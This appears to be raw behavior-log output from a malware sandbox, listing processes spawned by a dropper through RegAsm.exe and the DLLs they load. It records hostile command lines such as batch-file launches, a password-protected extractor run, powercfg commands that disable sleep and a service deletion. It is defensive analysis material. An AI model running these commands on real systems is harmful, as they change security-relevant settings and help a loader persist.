Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe "C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Measuring Measuring.bat & Measuring.bat	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Process created: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp "C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp" /SL5="$20446,3185824,56832,C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe"
Source: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "RRTELIGS"
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Process created: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe "C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe" -i
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe clamer.exe -pfrhasdtr
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Section loaded: sspicli.dll	Jump to behavior
